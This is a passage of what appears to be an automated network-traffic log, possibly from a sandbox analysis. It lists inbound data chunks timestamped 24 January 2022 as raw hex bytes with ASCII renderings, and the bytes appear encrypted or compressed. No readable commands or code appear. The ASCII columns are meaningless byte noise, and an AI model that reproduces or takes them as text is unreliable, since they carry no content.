34 da 26 60 b4 69 cc 77 6b ad 58 71 38 42 61 38 62 37 02 6d 54 8d 88 2b 6b c6 6a b3 61 28 50 8a 66 e9 a9 ae 48 51 97 c2 f4 95 5c 88 07 6c 04 17 f2 Data Ascii: UmKfmp@<"UW^O+"Nl}~roEFi}k$$J;TcSeAxO:cPKsdHyKLy(-9!>T<m\|Q]GvkA9GL,Kh3=9AA::g4&`iwkXq8Ba8b7mT+kja(PfHQ\l
2022-01-24 07:55:04 UTC	60	IN	Data Raw: b4 03 62 9e ef 6d 8c 3b e0 1d 54 53 03 38 5c 0a 8e 55 5b 87 73 3b b2 2f 4f 89 3a a5 80 a7 00 eb 86 87 4c 0c 62 e8 92 86 89 99 cb d9 6c 1a 8e 73 82 c5 e4 68 76 e9 c9 14 b1 65 be 6a 68 28 86 80 bf 52 37 a5 76 83 c0 f1 c8 3c c0 fe 45 cc 4a ab 6b 20 0f 96 aa d6 e2 b2 d5 d9 cf 14 59 4e 90 a3 bd 27 2c b6 d7 b3 b1 5e 39 fe 7d b3 6a d3 b9 9e 67 54 75 bb c6 cd 47 ea 1f f6 3a ca e0 66 d9 b9 c2 41 34 b0 11 af d4 1c b4 5a 32 c8 5f cd 32 7c 57 73 00 f0 e8 a2 de 14 e1 a2 6f 25 21 50 82 64 a5 03 27 14 6c 15 2d 9d 85 73 0b e5 94 6a 7a 8a de 12 df ba 44 c3 7a 4d 09 a0 19 39 4f e7 80 cc cf 46 ea 6f 64 d8 5f a3 21 e1 b4 f1 92 e5 c2 4d a3 d8 1d d1 75 1c 1a 3a 11 9a b0 50 ee b2 a6 0b 2c 5a e1 b0 b8 85 95 09 a1 a4 d2 04 cc ac ec 2d df 2c 79 20 19 5e 4d 97 ac e0 72 fd 52 8a b4 Data Ascii: bm;TS8\U[s;/O:Lblshvejh(R7v<EJk YN',^9}jgTuG:fA4Z2_2\|Wso%!Pd'l-sjzDzM9OFod_!Mu:P,Z-,y ^MrR
2022-01-24 07:55:04 UTC	61	IN	Data Raw: fd be a1 d9 56 a0 1a c4 d3 5c a1 3e ad 5f 30 50 60 7e 25 0a a7 43 fb 5f b4 51 7f ff 62 d6 2c e6 7c 23 4c 6b 35 52 b8 38 f6 09 21 5a 69 56 2c 96 02 4a 74 68 0b b4 24 d2 dc 35 69 39 71 e3 3f 65 b2 0d 82 01 47 7e 33 6c 44 8f 7b 3c b6 84 0b f8 d7 63 a2 f8 11 55 94 69 f0 ba 14 5b 56 8e c3 eb 21 7b 8b 18 7b 7d a1 e1 9b db 16 bd 6b 4e 14 71 3b b9 39 20 fd 88 dd 35 33 a3 38 4e 08 12 ed 3e 9f 60 4a 25 70 b0 0e 5e aa 81 d8 74 5e 8e 5e ce e8 c3 88 e6 3b 10 a9 2b d3 fe d3 8d a0 ee ae 99 20 c1 80 41 1c 73 3a 31 05 44 3c c8 0a e9 d9 01 ef 0d f6 71 f3 eb 57 7e 6b 72 de fc 62 93 3f 2c 7d 0b ad 6b 7d 1a 4f 15 83 95 6b 40 a6 64 2e c9 ec 4b 46 ee 2a 11 4d 08 1a aa 07 93 af af 43 3d 94 ec 08 50 58 a8 8d a9 2f e7 66 a1 c8 9d 2b db 0a 22 67 1a 48 9a 1a 3b dc 04 dd b8 23 c7 4a Data Ascii: V\>_0P`~%C_Qb,\|#Lk5R8!ZiV,Jth$5i9q?eG~3lD{<cUi[V!{{}kNq;9 538N>`J%p^t^^;+ As:1D<qW~krb?,}k}Ok@d.KF*MC=PX/f+"gH;#J
2022-01-24 07:55:04 UTC	63	IN	Data Raw: b6 ea 00 7e 29 39 2e be 7e a5 09 0e 5f 68 15 2b a0 2a 72 0b 68 37 7b 63 4a a1 2e df af 4e eb 36 53 09 a6 77 85 7e e4 8a 99 de 5f e6 e3 77 c9 58 a6 22 df 52 39 92 e5 d3 5c a3 ce 98 d5 82 24 fa 30 18 8d 6f 32 41 b9 b5 07 3f 58 f1 b4 54 bc 08 08 b9 b7 c5 17 cc b8 68 c0 da 09 75 23 7e d9 ae 96 a6 f9 6f ef 1a 58 b5 5d 90 fd 40 10 13 96 6d 02 74 8e 8a 4d d0 0a ba dc 9d 9c af d7 ad e4 ad 11 54 00 11 a6 7e 04 59 10 59 c9 85 6e 9a c4 fc 4b 22 23 55 60 f2 d3 0a d0 14 e1 2c 73 d8 3d f9 bb 57 07 d4 03 11 78 84 a4 11 c3 2e 49 63 bd ce b0 b2 27 aa 4f e8 b3 eb 0f 96 55 a0 2a d1 df fc 4b dc 87 6e 53 cd 72 85 19 2d e6 af ee 81 79 59 94 9b b7 2b c3 1e da 41 ef 4b 93 b9 ee 39 fa 01 e1 a4 10 22 c9 66 ba 9c 15 4e 1a 40 ee d4 d6 70 72 1d 45 c8 84 e8 46 6d 35 71 fe 9a 89 9c 6a Data Ascii: ~)9.~_h+rh7{cJ.N6Sw~_wX"R9\$0o2A?XThu#~oX]@mtMT~YYnK"#U`,s=Wx.Ic'OUKnSr-yY+AK9"fN@prEFm5qj
2022-01-24 07:55:04 UTC	64	IN	Data Raw: 34 cb cd 57 84 2e 59 24 b9 0c c8 93 d9 37 75 e7 3d 00 41 aa f2 14 e7 c1 06 79 15 e0 64 74 e3 8b 7a 6b 74 6a c9 65 8c 2b ae ec 01 ba bd f2 01 59 00 8d 9d c6 b0 a9 f5 b9 ff 22 7c 50 fd bd 09 c4 a0 2a b8 15 35 bf 6a 72 34 1b f1 24 50 6a ba 00 b4 20 e9 49 1b 60 c0 2f db 90 1b 44 05 6d 86 24 3b d0 0c 2d 8b a8 d6 46 bf eb ad fb 69 29 51 81 38 9e 8f 2f d8 b7 0e d0 64 76 46 e1 1a 9e d5 74 94 4c 51 3f 75 1b ed e6 ba 46 a3 32 c4 94 02 df ee 87 83 da 2c 60 d9 ec a3 d9 1b 8f 9d 86 1b bf b5 0b 20 3e fc 08 e5 31 22 bd b1 12 fe 72 20 81 60 5e da 61 94 2b f8 97 12 70 89 ee 77 11 09 e8 72 7d 79 bb 3e 4d 0d b7 0b 34 a3 7b 2c 62 b3 69 8e 55 82 91 a9 10 e9 86 b9 63 1b 4a c0 ff ac 8d 8a c2 c9 6e 03 92 47 81 c5 e8 a5 73 dd f0 37 99 3b b0 79 60 42 b1 87 bf 58 3b 9e 6c 92 e2 ed Data Ascii: 4W.Y$7u=Aydtzktje+Y"\|P*5jr4$Pj I`/Dm$;-Fi)Q8/dvFtLQ?uF2,` >1"r `^a+pwr}y>M4{,biUcJnGs7;y`BX;l
2022-01-24 07:55:04 UTC	65	IN	Data Raw: aa f7 00 c3 93 8d d9 21 18 9a bb 29 d1 2b 40 6a ac 0c 7e 72 25 65 46 b8 3e a6 29 de ab 2f f8 a5 e0 4f b1 43 b7 5f ec e1 fc 41 c9 db 7e 66 27 5b 4e 46 14 fa b2 91 0d 35 7b 96 9a a7 10 3b 05 57 5e d5 21 6d 55 0b 39 fb 3f e7 e8 14 24 d9 ec 85 86 02 6c 43 6a fc c3 64 70 7c 14 76 b0 7c e8 40 c9 4b 4d e5 b2 de b3 66 35 fe 0f 74 8e 03 03 bc ad aa ee b0 22 92 f2 0d c3 5d 96 a7 2e 53 a4 3c 9e 38 7b e5 87 c2 99 5f 01 51 7e c5 17 3e e9 b1 0e 74 5f 69 37 89 27 51 3f c7 4a 62 f4 b1 d5 f1 78 82 f3 62 ad e2 68 92 06 8f 09 3f 5d e1 eb ed 3b 95 10 a2 c0 7d 3a 03 21 b3 f1 7e f3 0b c3 c5 51 c5 e0 a3 4d 84 bf 71 6c 05 98 bc 2c ac c3 a5 5c bd f1 0a 67 2a f0 73 02 08 cc 35 54 d7 8e e5 0e 38 56 58 ff 43 80 03 d6 6f 79 07 a6 10 27 cc 46 4b a7 60 e2 33 79 bb 4d 0d 06 53 6c 2f 69 Data Ascii: !)+@j~r%eF>)/OC_A~f'[NF5{;W^!mU9?$lCjdp\|v\|@KMf5t"].S<8{_Q~>t_i7'Q?Jbxbh?];}:!~QMql,\g*s5T8VXCoy'FK`3yMSl/i
2022-01-24 07:55:04 UTC	66	IN	Data Raw: 45 3c 69 0a 56 3c 35 23 33 18 87 72 51 e0 b4 b9 19 3f 47 ee 29 f1 8c 37 bd 89 73 dd 8a 6a bd 28 c4 08 8d 5b 27 11 77 bc 93 bb e3 e4 2b 6d 83 a6 46 90 f6 7a 0d 2a de 78 0f 65 3b 32 5d dd 94 a6 33 91 9d 8b 42 dd 7f 94 52 47 d6 04 c4 de 08 48 0b 7c d5 95 7d ea 72 fa 94 1d ba dc 5f f4 bc ba c2 12 fd 29 88 57 9c 1f 60 24 04 c2 25 6a 2e 95 a7 6f 7c bb 58 6d b8 3e 25 7e cf 84 37 e8 b0 d2 50 83 50 b7 4b f4 fe 03 41 c8 79 b9 54 37 62 eb d2 ce 6e 86 fe 90 0c 6a 98 8a b4 29 c7 90 46 50 fe 45 06 70 6a 2e f1 11 d8 e4 80 0a 25 c5 ab 8c 2a b2 54 44 e4 fa 50 61 68 0f 67 89 8e ff 96 dc 2a 7a e9 a3 ca a9 c2 fa e1 02 72 bb 03 05 d9 98 a7 c6 8e 34 81 e1 d5 ac 92 bc a7 65 5c 8c 17 a6 2a 53 cd 4b c2 99 55 02 4f 6f d9 6e 1f eb b1 07 65 4f 06 0e 8b 27 56 4b e0 48 62 d2 9d cf e0 Data Ascii: E<iV<5#3rQ?G)7sj(['w+mFzxe;2]3BRGH\|}r_)W`$%j.o\|Xm>%~7PPKAyT7bnj)FPEpj.%TDPahgzr4e\SKUOoneO'VKHb
2022-01-24 07:55:04 UTC	67	IN	Data Raw: e9 19 5a 40 ff be 6f 6a 16 3b b6 88 86 db 94 60 2b 02 ee 06 5e 72 a9 7e 9f 29 f8 48 90 41 8a 44 f3 97 33 6a 1a 75 01 ad 2a db 1a e8 92 bd 4a 61 a8 3d bf e4 7d 2c 51 94 00 cb 4b e8 c7 b6 04 c9 7c 63 54 e3 31 81 48 e3 b2 d6 41 3e 75 00 dd f3 84 cd b5 31 cb a9 0e c9 f7 fe 62 d2 3d 60 a5 d8 b3 c8 05 b6 15 95 1e d6 85 87 27 34 ed 00 9e 0c 37 95 18 19 f9 7b 1e d8 ee e9 bf c7 aa 2b f2 85 06 4a 88 fd 60 97 27 ef 1d 6f 50 03 34 41 0f 95 8f 21 86 59 0c b4 3e 48 9d 5e ab ac a5 06 fc 81 87 48 08 62 e4 23 ac 8d b3 cd df 3c 0b e1 65 83 c5 ee b6 63 cc e1 23 86 64 b4 79 51 5a 3c 80 aa 58 3a 8d 54 83 c0 fa 0d 35 d7 ef 33 1a 59 ba ea 31 1e 95 57 01 dc 6a 21 2b 39 6a aa 58 46 ba a8 30 28 8f a2 8c 3a aa d5 04 b2 a0 5e fe 98 8f 62 d0 d1 db 43 76 47 e0 1e fc 05 28 f7 b0 5e 38 Data Ascii: Z@oj;`+^r~)HAD3ju*Ja=},QK\|cT1HA>u1b=`'47{+J`'oP4A!Y>H^Hb#<ec#dyQZ<X:T53Y1Wj!+9jXF0(:^bCvG(^8
2022-01-24 07:55:04 UTC	69	IN	Data Raw: c1 96 9b bb 32 ba ff 56 54 e5 47 9a 82 84 2c e0 11 e1 9b 10 22 c9 ec 22 85 02 60 26 b8 ef d2 7e 0e 95 04 6d 92 88 c0 32 cb 24 6d cf c1 dc 98 6c 0c 67 24 5a 8a 70 f9 d2 8b a2 81 4b 35 81 e1 03 84 e4 92 a7 22 68 f8 13 a6 2c 7b 44 4e c2 9f 26 ee 4c 6f d3 17 e0 ea b1 02 6d 67 74 10 8b 21 7f 25 d4 4b 64 d6 14 cc e0 62 9e 2a 61 ad ee 16 7f 68 aa 01 37 73 f8 f8 ec 3d b7 4b a3 d7 68 0b 54 3b a1 df 25 c0 0a c3 c5 13 87 3f ad 55 a4 69 11 67 05 9e 8f 34 ff c3 a3 7e 19 e4 13 4c 4e 1d 62 2a 66 a7 c8 53 b8 ae ef 26 47 54 49 e9 04 e1 06 d6 63 47 6e bb 04 32 af c9 68 a5 6a 8b dd 68 ad 54 16 38 3b 65 3e 75 16 6f 6e 3b af a2 a2 6e d7 65 d1 98 01 52 81 09 12 c7 88 40 47 99 bc 03 bc 6a 86 10 b0 78 2f e3 98 fc 23 aa f7 5f 6d 91 29 af af 39 eb 93 a6 23 ad b2 35 2a 1c 06 71 25 Data Ascii: 2VTG,""`&~m2$mlg$ZpK5"h,{DN&Lomgt!%Kdbah7s=KhT;%?Uig4~LNbfS&GTIcGn2hjhT8;e>uon;neR@Gjx/#_m)9#5*q%
2022-01-24 07:55:04 UTC	70	IN	Data Raw: 53 9d 6b dd 7c 58 f9 fc a1 af 70 09 72 ee fd ac 8b ac cc 11 7e 15 ed 7f 83 c5 ef a5 53 ca e1 0c b3 65 b4 ef 66 5b 2d 96 ac 50 02 98 4c 83 c0 fb 07 0d ce f8 ac 1b 75 a9 7c 33 08 86 aa d6 cc 6f 3d 49 34 07 5f 53 60 af a3 25 22 a7 d6 85 2d 5e c7 2d a0 be 5c f3 8e 8f 6f 41 6f 4a b4 5b 4d fb 12 e7 0d aa 7c 79 d9 74 c8 47 0f b1 24 bc 2a 5c ac 50 41 cd 5d cd 38 b5 48 67 13 25 e8 b3 d6 a8 1e a3 43 3a 30 57 99 61 eb 9f 39 1d 7f 1d 2d de 8d 6c 01 9c 94 46 73 42 d8 0f c2 33 5b c8 69 5f 09 b1 10 35 6f 1a 81 17 c5 57 ec fc b2 cb 48 aa 23 f4 84 3b 83 ed db b3 b3 f2 0b c9 8c 0b 29 25 84 97 75 55 f1 a9 bd 12 27 b5 e6 8b 41 95 be 07 a6 bb c7 0c dd bb fa cb 20 01 48 2c 0f fb 84 96 ac eb 79 9b 63 4a bd 57 92 f3 4e 19 c5 da 45 10 70 6f 8c 5b 0a 17 78 af b7 8a 51 d7 af e4 9a Data Ascii: Sk\|Xpr~Sef[-PLu\|3o=I4_S`%"-^-\oAoJ[M\|ytG$*\PA]8Hg%C:0Wa9-lFsB3[i_5oWH#;)%uU'A H,ycJWNEpo[xQ
2022-01-24 07:55:04 UTC	71	IN	Data Raw: ca d1 60 e0 15 67 3a e7 6e f7 11 c9 35 52 ae b5 e3 61 b6 51 49 e9 3b 4c 11 d9 76 6a 2c f3 05 34 dc 24 6d b4 65 f2 4f e0 ac 5e 18 03 46 49 78 72 3e 19 7b 3f b8 8f 3c 02 5e 62 a2 62 6f ca 8b 66 e5 d5 8f 42 79 9e d0 fd bb 7b 8a 2f 4d 6b 3d fa b4 eb 04 ab fd 66 ef 6e 28 af b4 36 d2 90 c9 23 84 a1 37 40 15 3d 9d 2f 98 7f 4d 0d 9b 98 85 5a 36 96 c9 e6 4e 98 c2 de fb c8 84 d8 04 01 ae 3e de f6 9f 8e a0 e8 24 05 20 de 9a 56 94 76 29 06 bd 52 a0 d3 25 6a c5 17 79 0d f5 46 e0 ca d7 78 78 7b 53 e5 71 a4 aa 08 fd 0d bb e6 e6 0b 48 0b 88 97 e3 79 02 7b 0e e3 07 63 8a ed b6 06 5c 9a 3c bc 9b 83 bc a4 75 03 ab fd 0f 45 53 22 11 b8 22 eb 49 90 40 89 03 50 92 33 66 13 e0 8b 86 2a da 0f ef 8c 8b 64 4a a8 37 aa df b0 26 40 98 1f c8 fb c0 d9 b6 10 d7 79 4f e1 f2 3b 82 ee c8 Data Ascii: `g:n5RaQI;Lvj,4$meO^FIxr>{?<^bbofBy{/Mk=fn(6#7@=/MZ6N>$ Vv)R%jyFxx{SqHy{c\<uES""I@P3f*dJ7&@yO;
2022-01-24 07:55:04 UTC	72	IN	Data Raw: 4c 84 8e ce a1 5b d7 65 35 95 b1 16 35 6a fb b8 a7 de 48 f5 fd 44 0d 4e b5 32 7b 9d 35 8d f2 e2 b6 b2 de 02 44 9a 13 29 2a 38 56 66 5d f1 24 a4 03 33 52 f8 c3 da 95 b7 15 a3 97 72 04 dd aa 6e c2 d0 1f 7f 38 5a ea be 98 b3 f6 4a 4f 7a 59 b5 cb 92 f5 4e 08 24 81 f5 13 7c fe 25 57 4c 11 a0 3d 83 95 02 4a ad ef 88 40 40 8d 3c c9 cf 04 4a 14 5c 39 92 58 fc c5 ed 4e 96 7d 5f 77 eb b3 27 c0 1a f3 27 e5 45 3a 09 a3 17 d8 d1 2b 41 e0 95 ac 64 6d 58 d5 78 a7 2b ae e7 45 ba 21 e5 a9 8f c2 83 5b bb 5a 27 42 ed 4f d6 59 96 45 33 73 79 57 1a ef a4 ce 68 0a 7b 96 07 a0 36 d6 0e 48 5a 73 5a 9c b5 ff 08 62 17 c9 ea 88 33 c1 db a7 a6 f6 66 55 44 72 c3 7a 7e 65 1a 06 04 91 e6 5f c1 3b 27 7b a3 d6 87 65 04 05 27 5a 8c 9f 14 dd 98 ad e9 c5 b9 80 eb 0d bf 90 48 b3 01 68 bb 17 Data Ascii: L[e55jHDN2{5D)*8Vf]$3Rrn8ZJOzYN$\|%WL=J@@<J\9XN}_w''E:+AdmXx+E![Z'BOYE3syWh{6HZsZb3fUDrz~e_;'{e'ZHh
2022-01-24 07:55:04 UTC	74	IN	Data Raw: 15 6b 11 f1 67 f8 35 d6 52 69 65 4f ed 6c 90 df 0d d1 09 86 69 ca 88 4f 20 9c 83 ec 61 a8 7b ff e8 13 4b e6 ee b6 11 39 ad 3b bc 91 89 b7 ac 49 90 08 fd 05 45 7d 96 85 bc 28 fe 6a 3f 48 9d 21 a8 80 31 60 0f 60 85 e9 3d d9 1b f1 b5 af ef df ac 3d b8 df 60 27 40 94 0e 6f f5 e8 4f b3 04 c5 02 7e 40 f2 31 9b ca 42 bf f5 6c a3 74 0a cc e6 96 cd bb bd c6 85 0a cc 98 ee 71 db 26 79 c4 eb a1 c5 37 d4 1d 84 1b a8 ad 97 2a a4 ef 0f e0 23 59 1e 13 12 f4 50 9f df 60 58 f8 53 ab 2b f2 85 04 73 9d d4 51 9d 36 e2 4b 3b 50 03 3e 3e d0 9e 51 3e b0 76 2a b3 2a 6a f2 57 83 84 b0 8b fd 8b af 71 1b 6d ff f2 ba 9a 9c 6f ce 72 04 f1 74 93 d1 fa a1 ee e3 e1 23 b0 76 a5 68 77 4d 2b 1c ae 49 2d a5 e9 83 c0 f1 30 14 c0 f9 c2 36 46 ab 6a 27 84 ac 35 61 dd 60 fb 33 30 05 5e 71 52 b0 Data Ascii: kg5RieOliO a{K9;IE}(j?H!1``==`'@oO~@1Bltq&y7#YP`XS+sQ6K;P>>Q>v*jWqmort#vhwM+I-06Fj'5a`30^qR
2022-01-24 07:55:04 UTC	75	IN	Data Raw: 00 b5 a4 fa ab 2f f9 96 c3 5e 83 7d 31 45 60 d4 fe 55 de 51 fe 44 33 79 8a 55 15 f0 a7 e4 5f 06 53 a1 9b b1 32 e1 3c 57 54 e5 95 92 ac de 28 e1 07 c9 ea 14 22 cf c4 be 93 02 6a 4f 44 ee d3 6a 63 40 19 6f 98 8a c2 53 ff 27 6b 4c b0 d8 98 c9 24 ee 36 4c 81 3b 98 d1 8b a8 ee bf 2b 8f 15 0a 80 9a 46 87 24 40 8e 3f b2 2a 53 c7 41 dd 96 58 12 44 76 27 79 31 e5 b2 7b 6d 4d 06 1e e4 2e 55 50 da 40 78 f3 9d c6 fb 9a ec fa 74 aa cc 53 87 69 ac 1d 17 75 8e fc e6 2d df 90 a7 d7 6e 3f d0 38 a8 c6 44 c2 0a ef c7 44 35 3c ad 5f b3 52 6a 63 0c 87 bd bd fa ef ab 86 7e e0 13 48 15 f5 63 2a 66 c4 2a 49 b5 a4 ee 11 2b ae 48 c3 24 ae 2b d4 65 6f 0b a9 09 34 d5 2a 75 5b 61 c8 35 6d 85 6f 1b 10 46 77 16 5d 3e 13 60 2d e9 86 29 6d d7 7c bf 69 00 5b 94 76 11 c7 a4 5f 55 b9 fd f8 Data Ascii: /^}1E`UQD3yU_S2<WT("jODjc@oS'kL$6L;+F$@?SAXDv'y1{mM.UP@xtSiu-n?8DD5<_Rjc~HcfI+H$+eo4u[a5moFw]>`-)m\|i[v_U
2022-01-24 07:55:04 UTC	76	IN	Data Raw: db 60 4f c6 e6 80 30 f8 91 16 9c 99 d0 62 85 3d e8 75 6a af 02 12 4f 10 94 51 33 bb 8f 3a 98 3c 69 8c 7e 60 80 dc 6f fa 8b ab 5a 2a 60 ed 80 c5 8b 99 c9 f5 7d 17 e1 76 b3 c7 ee 9e 63 cc e1 25 b1 65 a5 6f 6d 70 27 80 b8 4f c4 8c 62 81 d8 f0 16 02 c7 11 53 36 5b ad 71 31 19 9c da 60 f1 68 00 24 1b e6 5d 22 2c b0 bb 32 00 85 c5 8e 47 ca c6 01 a7 8c 4f fb 8e 8d 57 5c 66 9c b5 77 47 ec 15 fb 03 e4 eb 4d c8 67 c7 50 e0 b8 17 ad cc 56 80 5d 24 36 5e e1 30 ae 5c 73 07 35 16 a3 f2 b4 cb a0 44 d3 23 2b e9 7e a5 07 0c 36 6e 16 50 a4 85 73 0f 48 95 6a 7a 40 ef 10 df 87 44 c3 7a f2 09 a0 09 3c 74 cf 9b 3b c8 51 14 ea 48 da 56 be 32 e0 9a c5 93 c9 c0 5a b9 de 05 c0 75 1c 1a 30 33 8f 4d be f3 c3 d9 0d 2c 4f cd 85 44 87 c4 66 b9 b7 d0 2e dd aa f2 c0 ee 02 64 0f 11 76 af Data Ascii: `O0b=ujOQ3:<i~`oZ*`}vc%eomp'ObS6[q1`h$]",2GOW\fwGMgPV]$6^0\s5D#+~6nPsHjz@Dz<t;QHV2Zu03M,ODf.dv
2022-01-24 07:55:04 UTC	77	IN	Data Raw: ec 3b 9f 3c a7 d7 6e 21 f5 2f a1 d9 5c 3f 26 c8 e7 4f 7f 3e ab 2c 8a 43 67 69 7f 9a d4 12 fa c3 a3 39 22 e1 13 4c 3f e2 4b 1d 69 c8 33 3d 90 a6 e7 04 51 6b 48 ef 2a 94 6d 94 64 6f 12 bc 2c 00 d9 35 6f ca 48 e6 20 63 c2 0d 1f 10 46 63 51 31 3f 13 6c 38 81 bf 2e 6d d1 0c 8a 66 00 58 e4 33 ee c6 8e 48 3e d3 d2 fd bb 69 a4 31 6f 6b 3b 9f b4 c6 04 a1 98 08 12 6e 2e 85 bb 22 ca 95 c9 0b af b2 3f 59 1d 04 60 39 93 54 47 05 88 a7 f0 5f 1a 92 c7 60 49 9f d4 21 ee f0 92 e7 ac 01 a9 2c 34 df 7f 8f 8b ec 19 6b 25 a5 e1 57 80 66 17 0c 1c 51 dd a2 0d f6 c1 3d 73 1c f1 7d de c9 d7 56 6b 72 42 e5 65 8c 30 1a f6 20 b6 6b e6 1c b6 0b b0 81 ef 5a a1 7c 18 17 12 67 44 f9 bd 00 4d 0f c5 bd b7 80 83 b2 4a c8 0a 86 73 4f 7b ba 3b 9a 2a fb 3f fd 48 9d 2f f1 96 33 60 16 5d 8e 86 Data Ascii: ;<n!/\?&O>,Cgi9"L?Ki3=QkHmdo,5oH cFcQ1?l8.mfX3H>i1ok;n."?Y`9TG_`I!,4k%WfQ=s}VkrBe0 kZ\|gDMJsO{;?H/3`]
2022-01-24 07:55:04 UTC	79	IN	Data Raw: 99 d6 73 00 2d 74 a4 c1 a5 f9 3e 69 2f 35 70 65 7e a5 03 ba 12 73 00 0d 7d 85 73 0b fe 93 75 6c 4c cc 8e d9 b0 53 e3 df 57 09 a0 84 2c 60 fc a0 8b cf 46 ea 77 62 c7 57 aa 4b 7b 8a 24 88 c5 2c 4d b2 de 9e de 94 06 29 7d 84 8b 79 41 ee b7 29 0b 33 56 f8 e6 da 82 a6 14 a6 a2 48 02 c2 b5 d2 3e de 00 64 bb 17 69 8f 89 d7 76 6c 83 5b 46 a1 cb 85 e4 73 35 b7 db 69 02 ee e7 24 6f f0 e5 ae 22 9c 16 57 c9 98 fe ce c3 56 1f 32 d6 89 99 5f 05 6b 28 89 e4 62 da ca 6e cb 6c 51 60 68 ba a4 f9 34 65 38 8d d9 b7 01 a5 1e 36 2f 2b 41 7c 18 a4 61 58 0f 9f 69 a9 30 2d a2 c6 80 0f 1e b6 c3 5e 0e 53 b9 69 7f f9 60 47 d7 54 70 30 af 75 fa 68 08 6c ab f1 ae 2a f0 96 9b b1 a4 cf 1b 67 4b a6 d7 94 b5 c5 3e 7c 11 d6 d8 34 fe cf c4 ab 1a 04 79 66 5b e1 4e 72 7e 5c 1a 5d 04 86 f7 75 Data Ascii: s-t>i/5pe~s}sulLSW,`FwbWK{$,M)}yA)3VH>divl[Fs5i$o"WV2_k(bnlQ`h4e86/+A\|aXi0-^Si`GTp0uhl*gK>\|4yf[Nr~\]u
2022-01-24 07:55:04 UTC	80	IN	Data Raw: f3 fe cd 95 d8 0f 05 ae 32 e2 aa 53 8d aa fd 34 95 34 d5 9a 46 8b 7d 37 d0 1f 7e a6 f2 89 e9 ce 04 78 1c e0 65 f1 c6 29 7f 47 5b 53 ea 63 9d 29 96 d5 a0 a9 6b e7 23 e4 0e 9c 85 e1 79 ce 7a 0e ef 3b 2e 47 ee bc 28 27 16 3b ba f4 a4 aa b0 67 34 06 ee 04 4f 6a b5 06 46 29 d4 41 99 5b 96 2b ca 9d 2b 9e 04 41 86 84 02 4e 1b fb 92 af de 59 a3 3d af fc 6e db 41 b2 0a 52 ef cb d9 a6 0f dc 7f 99 43 de 39 a3 c3 6c 8b 00 ab c0 7c 20 cc e4 aa d9 b0 6e d5 81 1b 63 f7 f4 62 cd 20 41 fb fd ba df f1 a6 30 86 03 b5 a3 8e 3f c0 fd 25 fe 27 48 33 12 12 fa 6e 20 4a 61 5e da e6 b2 27 f8 9e 17 9c 99 d0 62 8a 3a e8 7a 65 af 02 12 4f 2c 9d 7a f9 8b e6 3b b4 34 45 94 52 0d 35 bd dc 95 9a ae 70 02 48 ee fd ac 98 a9 c8 df 88 17 e1 65 2f c5 ee a7 75 c1 ca 60 b1 6c a3 87 67 77 3e 98 Data Ascii: 2S44F}7~xe)G[Sc)k#yz;.G(';g4OjF)A[++ANY=nARC9l\| ncb A0?%'H3n Ja^'b:zeO,z;4ER5pHe/u`lgw>
2022-01-24 07:55:04 UTC	81	IN	Data Raw: e7 21 32 6e 51 6a d2 ad bf f9 66 ea 38 8b c1 f3 14 b0 21 07 db 3c 9b 6f 90 b1 73 59 39 58 6d b8 34 a7 cb ed a9 2f f3 d9 fb 5c 92 5f 80 54 6d c9 2a 52 c5 68 62 54 27 42 01 6e 3a f2 ad e8 92 0c 6e 9e 8c 6b 2b dc 17 58 7f a7 5a 96 82 86 29 e0 11 e1 00 15 22 c5 d7 bd 94 14 4e 63 46 ee d8 67 6f 79 01 7c 9c 96 87 74 cd 24 61 88 8a da 98 60 02 ff 23 4b 88 15 6a e7 89 a8 e4 d9 0c 83 eb 01 8a 85 90 b6 2a 68 a8 17 a6 20 40 cb 5c cd 8e 83 01 42 7e d6 69 08 da 03 0a 61 67 22 14 8b 2d 44 59 c1 4d 73 f7 87 a0 d9 66 ed dc 73 a5 f5 7f 94 78 a2 64 05 59 8e f6 ff 3d 8e 3a b6 de 46 0d df 38 a7 b6 2e 3c 0b c9 dc 7a 6b 38 a7 81 be 69 50 63 05 92 8f 6d f9 c3 a3 5c 49 d8 13 4a 37 3f 63 2c 46 c8 74 4e b8 a4 e7 0e 3e 50 49 ef 2c 96 d5 d4 65 6f c3 bd 04 34 ce 35 69 a5 7a e4 20 68 Data Ascii: !2nQjf8!<osY9Xm4/\_TmRhbT'Bn:nk+XZ)"NcFgoy\|t$a`#Kjh @\B~iag"-DYMsfsxdY=:F8.<zk8iPcm\IJ7?c,FtN>PI,eo45iz h
2022-01-24 07:55:04 UTC	82	IN	Data Raw: 56 3c 2c 1f 2b 15 8d 6f 46 0f b9 99 14 2e 30 21 a7 46 80 be 9b 99 37 d4 04 dd f5 d2 53 de 00 64 09 5d 71 85 8a a1 ea 63 86 84 58 99 4e 80 f8 4f c3 37 d0 42 3f 75 e3 40 8a d0 00 aa ac 2b 9d 8b e7 77 f7 af 44 5d 00 1e d0 31 04 75 1e 5b 1d 9e 75 64 cc fa b0 0b 40 53 78 f9 bc b2 c7 ea ea 14 8f ce 26 07 b3 2b e8 d0 07 43 57 86 89 fa 75 38 9f 62 ae 38 80 1b da b5 f9 d3 b6 d0 6e 94 55 0b 44 60 de 4f 41 c8 68 79 56 3a 4b 3a 46 14 f0 ad ff 88 12 85 97 b7 bb 3c de d2 a9 5f ed 4b 8b b9 fd 28 f1 1e d3 14 15 0e c2 c0 a8 5c 8e 59 55 44 ef c1 70 7a 7b 0c 6d 89 89 f4 be ce 08 47 f6 b6 ce 14 55 24 ee 26 4c a4 38 07 d3 81 b9 ea a9 3d 0d d4 0b ac 95 80 8f 18 42 8c 1d 8e 17 51 cd 47 ea 2e 55 12 47 43 c0 65 0e e2 b1 19 6c 52 f8 15 a7 21 41 3a fa 55 71 f7 9d de e9 7a 13 d7 4c Data Ascii: V<,+oF.0!F7Sd]qcXNO7B?u@+wD]1u[ud@Sx&+CWu8b8nUD`OAhyV:K:F<_K(\YUDpz{mGU$&L8=BQG.UGCelR!A:UqzL
